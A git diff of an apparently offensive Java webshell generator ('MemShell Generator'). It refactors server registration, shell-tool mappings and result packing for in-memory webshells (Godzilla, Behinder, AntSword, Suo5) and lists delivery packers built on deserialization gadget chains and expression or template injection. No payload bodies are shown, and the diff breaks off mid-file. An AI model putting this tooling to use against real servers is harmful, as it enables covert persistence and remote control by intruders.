|
||||
useJUnitPlatform()
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation project(":memshell-party-common")
|
||||
implementation project(":deserialize")
|
||||
|
||||
implementation project(":memshell")
|
||||
implementation project(":memshell-java8")
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
implementation 'org.ow2.asm:asm-commons'
|
||||
|
||||
implementation 'javax.servlet:javax.servlet-api'
|
||||
implementation 'javax.websocket:javax.websocket-api'
|
||||
|
||||
implementation 'org.apache.bcel:bcel'
|
||||
|
||||
implementation 'commons-io:commons-io'
|
||||
implementation 'org.apache.commons:commons-lang3'
|
||||
implementation 'com.squareup.okhttp3:okhttp'
|
||||
implementation 'ch.qos.logback:logback-classic'
|
||||
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
||||
|
||||
implementation 'org.springframework:spring-webmvc'
|
||||
implementation 'org.springframework:spring-webflux'
|
||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
||||
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||
testImplementation "org.mockito:mockito-core"
|
||||
testImplementation 'org.mockito:mockito-junit-jupiter'
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
plugins {
|
||||
id("java")
|
||||
alias(libs.plugins.lombok)
|
||||
id("maven-publish-convention")
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
group = "io.github.reajason"
|
||||
description = "MemShell Generator for Java"
|
||||
version = rootProject.version
|
||||
|
||||
tasks.compileTestJava {
|
||||
javaCompiler.set(javaToolchains.compilerFor {
|
||||
languageVersion.set(JavaLanguageVersion.of(17))
|
||||
})
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(project(":memshell-party-common"))
|
||||
implementation(project(":packer"))
|
||||
implementation(libs.byte.buddy)
|
||||
implementation(libs.asm.commons)
|
||||
implementation(libs.javax.websocket.api)
|
||||
implementation(libs.javax.servlet.api)
|
||||
implementation(libs.spring.webmvc)
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.reactor.netty.core)
|
||||
|
||||
implementation(libs.bundles.jna)
|
||||
implementation(libs.bcel)
|
||||
implementation(libs.jackson.databind)
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.hamcrest)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
testImplementation(libs.bundles.mockito)
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/21
|
||||
*/
|
||||
public class GenerationException extends RuntimeException {
|
||||
public GenerationException(String message) {
|
||||
super(message);
|
||||
}
|
||||
|
||||
public GenerationException(String message, Throwable cause) {
|
||||
super(message, cause);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/11
|
||||
*/
|
||||
public class Server {
|
||||
public static final String Tomcat = "Tomcat";
|
||||
public static final String Jetty = "Jetty";
|
||||
public static final String Undertow = "Undertow";
|
||||
public static final String JBoss = "JBoss";
|
||||
public static final String Resin = "Resin";
|
||||
public static final String WebLogic = "WebLogic";
|
||||
public static final String WebSphere = "WebSphere";
|
||||
public static final String GlassFish = "GlassFish";
|
||||
public static final String TongWeb = "TongWeb";
|
||||
public static final String BES = "BES";
|
||||
public static final String InforSuite = "InforSuite";
|
||||
public static final String Apusic = "Apusic";
|
||||
public static final String SpringWebMvc = "SpringWebMvc";
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/27
|
||||
*/
|
||||
public interface ShellGenerator {
|
||||
|
||||
byte[] getBytes();
|
||||
}
|
||||
@@ -1,10 +1,12 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -16,15 +18,15 @@ import java.util.Map;
|
||||
*/
|
||||
public class MemShellGenerator {
|
||||
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Server server = shellConfig.getServer();
|
||||
AbstractShell shell = server.getShell();
|
||||
if (shell == null) {
|
||||
throw new IllegalArgumentException("Unsupported server: " + server);
|
||||
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
String serverName = shellConfig.getServer();
|
||||
AbstractServer server = ServerFactory.getServer(serverName);
|
||||
if (server == null) {
|
||||
throw new GenerationException("Unsupported server: " + serverName);
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
@@ -34,18 +36,18 @@ public class MemShellGenerator {
|
||||
Class<?> injectorClass = null;
|
||||
|
||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||
} else {
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
if (shellInjectorPair == null) {
|
||||
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
injectorClass = shellInjectorPair.getRight();
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
}
|
||||
|
||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
@@ -55,7 +57,7 @@ public class MemShellGenerator {
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||
|
||||
return GenerateResult.builder()
|
||||
return MemShellResult.builder()
|
||||
.shellConfig(shellConfig)
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
@@ -66,25 +68,4 @@ public class MemShellGenerator {
|
||||
.injectorInnerClassBytes(innerClassBytes)
|
||||
.build();
|
||||
}
|
||||
|
||||
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
switch (shellConfig.getShellTool()) {
|
||||
case Godzilla:
|
||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||
case Command:
|
||||
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
||||
case Behinder:
|
||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
case Suo5:
|
||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||
case AntSword:
|
||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||
case NeoreGeorg:
|
||||
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
|
||||
case Custom:
|
||||
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@Builder(builderClassName = "Builder")
|
||||
public class MemShellResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
private long shellSize;
|
||||
private String shellBytesBase64Str;
|
||||
private String injectorClassName;
|
||||
private transient byte[] injectorBytes;
|
||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||
private long injectorSize;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
|
||||
public static class Builder {
|
||||
public MemShellResult build() {
|
||||
if (shellBytes != null) {
|
||||
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||
shellSize = shellBytes.length;
|
||||
}
|
||||
if (injectorBytes != null) {
|
||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||
injectorSize = injectorBytes.length;
|
||||
}
|
||||
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
|
||||
public JarPackerConfig toJarPackerConfig() {
|
||||
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||
jarPackerConfig.setMainClassName(injectorClassName);
|
||||
Map<String, byte[]> bytes = new HashMap<>();
|
||||
bytes.put(shellClassName, shellBytes);
|
||||
bytes.put(injectorClassName, injectorBytes);
|
||||
if (injectorInnerClassBytes != null) {
|
||||
bytes.putAll(injectorInnerClassBytes);
|
||||
}
|
||||
jarPackerConfig.setClassBytes(bytes);
|
||||
return jarPackerConfig;
|
||||
}
|
||||
|
||||
public ClassPackerConfig toClassPackerConfig() {
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassName(injectorClassName);
|
||||
classPackerConfig.setClassBytes(injectorBytes);
|
||||
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||
if (shellConfig != null) {
|
||||
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||
}
|
||||
return classPackerConfig;
|
||||
}
|
||||
}
|
||||
@@ -1,146 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Getter
|
||||
public enum Packers {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
Rhino(new RhinoPacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
OGNL(new OGNLPacker()),
|
||||
MVEL(new MVELPacker()),
|
||||
Aviator(new AviatorPacker()),
|
||||
JXPath(new JXPathPacker()),
|
||||
JEXL(new JEXLPacker()),
|
||||
BeanShell(new BeanShellPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||
|
||||
Groovy(new GroovyPacker()),
|
||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
JavaDeserialize(new JavaDeserializePacker()),
|
||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
|
||||
|
||||
/**
|
||||
* Hessian 反序列化打包器
|
||||
*/
|
||||
Hessian2Deserialize(new Hessian2Packer()),
|
||||
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
||||
|
||||
HessianDeserialize(new HessianPacker()),
|
||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
Packers(Packer instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
Packers(Packer instance, Class<?> parentPacker) {
|
||||
this.instance = instance;
|
||||
this.parentPacker = parentPacker;
|
||||
}
|
||||
|
||||
public static Packer getPacker(Packers packerType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||
}
|
||||
}
|
||||
+136
-171
@@ -1,153 +1,50 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.memshell.server.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
||||
import lombok.Getter;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.concurrent.CopyOnWriteArrayList;
|
||||
import java.util.function.Supplier;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
* @since 2025/8/11
|
||||
*/
|
||||
@Getter
|
||||
public enum Server {
|
||||
/**
|
||||
* Tomcat 中间件
|
||||
*/
|
||||
Tomcat(new TomcatShell()),
|
||||
/**
|
||||
* Jetty 中间件
|
||||
*/
|
||||
Jetty(new JettyShell()),
|
||||
/**
|
||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBossAS(new JbossShell()),
|
||||
JBossEAP6(new JbossShell()),
|
||||
/**
|
||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||
*/
|
||||
Undertow(new UndertowShell()),
|
||||
JBossEAP7(new UndertowShell()),
|
||||
WildFly(new UndertowShell()),
|
||||
|
||||
/**
|
||||
* SpringMVC 框架
|
||||
*/
|
||||
SpringWebMvc(new SpringWebMvcShell()),
|
||||
|
||||
/**
|
||||
* Spring WebFlux 框架
|
||||
*/
|
||||
SpringWebFlux(new SpringWebFluxShell()),
|
||||
|
||||
/**
|
||||
* WebSphere 中间件
|
||||
*/
|
||||
WebSphere(new WebSphereShell()),
|
||||
|
||||
/**
|
||||
* WebLogic 中间件
|
||||
*/
|
||||
WebLogic(new WebLogicShell()),
|
||||
|
||||
/**
|
||||
* Resin 中间件,<a href="https://caucho.com/products/resin/download">Resin</a>
|
||||
*/
|
||||
Resin(new ResinShell()),
|
||||
|
||||
/**
|
||||
* GlassFish 中间件
|
||||
*/
|
||||
GlassFish(new GlassFishShell()),
|
||||
Payara(new GlassFishShell()),
|
||||
|
||||
/**
|
||||
* 宝兰德中间件
|
||||
*/
|
||||
BES(new BesShell()),
|
||||
|
||||
/**
|
||||
* 东方通中间件
|
||||
*/
|
||||
TongWeb6(new TongWeb6Shell()),
|
||||
TongWeb7(new TongWeb7Shell()),
|
||||
|
||||
/**
|
||||
* 金蝶天燕中间件
|
||||
*/
|
||||
Apusic(new ApusicShell()),
|
||||
|
||||
/**
|
||||
* 中创中间件
|
||||
*/
|
||||
InforSuite(new InforSuiteShell()),
|
||||
|
||||
/**
|
||||
* 普元中间件
|
||||
*/
|
||||
Primeton(new GlassFishShell()),
|
||||
|
||||
/**
|
||||
* XXL-JOB
|
||||
*/
|
||||
XXLJOB(new XxlJobShell());
|
||||
|
||||
private final AbstractShell shell;
|
||||
|
||||
Server(AbstractShell shell) {
|
||||
this.shell = shell;
|
||||
}
|
||||
public class ServerFactory {
|
||||
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
|
||||
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
|
||||
private static final List<String> servers = new CopyOnWriteArrayList<>();
|
||||
|
||||
static {
|
||||
register(Server.Tomcat, Tomcat::new);
|
||||
register(Server.Jetty, Jetty::new);
|
||||
register(Server.Undertow, Undertow::new);
|
||||
register(Server.JBoss, Jboss::new);
|
||||
register(Server.Resin, Resin::new);
|
||||
register(Server.WebLogic, WebLogic::new);
|
||||
register(Server.WebSphere, WebSphere::new);
|
||||
register(Server.GlassFish, GlassFish::new);
|
||||
register(Server.TongWeb, TongWeb::new);
|
||||
register(Server.BES, Bes::new);
|
||||
register(Server.InforSuite, InforSuite::new);
|
||||
register(Server.Apusic, Apusic::new);
|
||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||
@@ -157,23 +54,25 @@ public enum Server {
|
||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
|
||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||
